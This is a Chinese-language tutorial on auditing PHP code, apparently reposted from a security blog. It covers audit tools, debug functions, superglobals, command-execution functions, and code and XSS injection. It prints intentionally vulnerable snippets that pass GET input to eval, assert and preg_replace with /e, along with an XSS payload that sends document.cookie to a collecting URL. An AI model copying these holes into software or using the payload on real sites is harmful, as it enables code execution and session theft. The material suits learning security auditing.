PHP代码审计

发布时间:2022-04-30 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了PHP代码审计脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。
第一节:PHP 审计环境、审计工具、审计平台介绍与安装
作者:暗月(mOon ) 博客:www.moonsec.COM
0x01:测试环境
wamp 安装
0x02:PHP 编写工具
EdITPlu
Notepad++
Zendstudio 10
0x03:代码审计工具
Seay 代码审计工具
0x04:代码审计平台安装
DVWA-1.0.8
ZVulDrill
 
第二节:代码审计中常用代码调试函数与注释
0x01:调试函数
echo (PRint):
这是最简单输出数据调试方法,一般用来输出变量值或者你不确定程序执行
到了哪个分支的情况下是用。
print_r、var_dump(var_export)、debug_zval_dump
这个主要是用来输出变量数据值,特别是数组和对象数据,一般我们在查看接口
返回值,或者某些不太确定变量的时候,都可以使用这两个 API。
VAR_dump 会额外输出数据类型:
print_r 输出:格式很整齐,跟 var_dump 的区别是没有类型数据,并且布尔值
的 false 和值 NULL 输出为空
var_export 输出,所有的数据是可以作为组织好的变量输出的,都是能够作为
直接赋值使用:
需要注意的一点是,var_export 对于资型的变量会输出 NULL
debug_zval_dump 输出结果跟 var_dump 类似,唯一增加一个值是 refcount,
就是记录一个变量被引用了多少次,这是 PHP 的 copy on write (写时复制) 的
机制的一个重要特点。
exit()退出函数
 
第三节 代码审计涉及到的超全局变量
全局变量 — 超全局变量是在全部作用域中始终可用的内置变量
PHP 中可由用户操作的全局变量列表如下:
$GLOBALS — 引用全局作用域中可用的全部变量
$_SERVER — 服务器和执行环境信息
$_GET — HTTP GET 变量
$_POST — HTTP POST 变量
$_FILES — HTTP 文件上传变量
$_REQUEST — HTTP Request 变量
$_SESSION — Session 变量
$_env — 环境变量
$_COOKIE — HTTP Cookies
已经被弃用的
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS
 
第四节 代码审计命令注入
PHP 执行系统命令可以使用以下几个函数
Linux unix
Wind os
system、exec、passthru、·· 反引号、shell_exec、poPEn、proc_open、pcntl_exec
string system ( string $command [,int &$return_var ] )
string exec ( string $command [,array &$output [,int &$return_var ]] )
void passthru (string command,int &return_var)
string shell_exec (string command)
`` 反引号
resource popen ( string $command,string $mode )
resource proc_open ( string $cmd,array $descriptorspec,array &$pipes [,string $cwd [,array
$env [,array $other_options ]]] )
void pcntl_exec ( string $path [,array $args [,array $envs ]] )
用户提供的数据传入此函数,使用 escapeshellarg() 或 escapeshellcmd() 来确保用户欺骗
系统从而执行任意命令。
escapeshellarg ( string $arg )
可以用到 PHP 的安全中,会过滤掉 arg 中存在的一些特殊字符。在输入的参数中如果包含中
文传递给 escapeshellarg,会被过滤掉。
escapeshellcmd ( string $command )
escapeshellcmd()函数会转义命令中的所有 shell 元字符来完成工作。这些元字符包括# & ; `,
| * ? ~ < > ^ ( ) [ ] { } $ \\。
 
第五节 PHP 代码审计代码执行注入
PHP 里面有一些函数将输入的字符串参数当作 PHP 程序代码来执行
一:常见代码执行函数
eval 、assert 、preg_replace
eval 代码执行注入
<?PHP
if(isset($_GET[‘moon‘])){
$moon=$_GET[‘moon‘];
eval("\$moon = $moon;");
}
?>
 
第二:assert 代码执行注入
<?PHP
if(isset($_GET[‘moon‘])){
$moon=$_GET[‘moon‘];
assert("\$moon = $moon;");
}
?>
第三:preg_replace 正则代码执行注入
当 pattern 中存在/e 模式修饰符,即允许执行代码
pattern 在一个参数
<?PHP
echo $regexp = $_GET[‘reg‘];
$var = ‘<PHP>PHPinfo()</PHP>‘;
preg_replace("/<PHP>(.*?)$regexp",‘\\1‘,$var);
?>
replacement 第二个参数
<?PHP
preg_replace("/moon/e",$_GET[‘moon‘],"I love moon");
?>
preg_replace()第三个参数注射
<?PHP
preg_replace("/\s*\[PHP\](.+?)\[\/PHP\]\s*/ies","\\1",$_GET[‘moon‘]);
?>
 
第六节 PHP 代码审计 XSS 反射型漏洞
xss 漏洞大致分三种
反射型 XSS 漏洞
保存型 XSS 漏洞
基于 DOM 的 XSS 漏洞
反射型 XSS 漏洞
它通过给别人发送带有恶意脚本代码参数的 URL,当 URL 地址被打开时,特有的恶意
代码参数被 HTML 解析、执行。
它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。
一:变量的直接输出
<?PHP
echo $_GET[‘xss‘];
?>
二:$_SERVER 变量参数
$_SERVER[‘PHP_SELF‘]
$_SERVER[‘HTTP_USER_AGENT‘]
$_SERVER[‘HTTP_REFERER‘]
$_SERVER[‘REQUEST_URI‘]
三:http 请求格式
User-Agent:
Referer
四:利用
test <script>alert(1);</script>
Cookie
<script>var i=new Image;i.src="http://127.0.0.1/xss.PHP?c="%2bdocument.cookie;</script>
modify headers

脚本宝典总结

以上是脚本宝典为你收集整理的PHP代码审计全部内容,希望文章能够帮你解决PHP代码审计所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。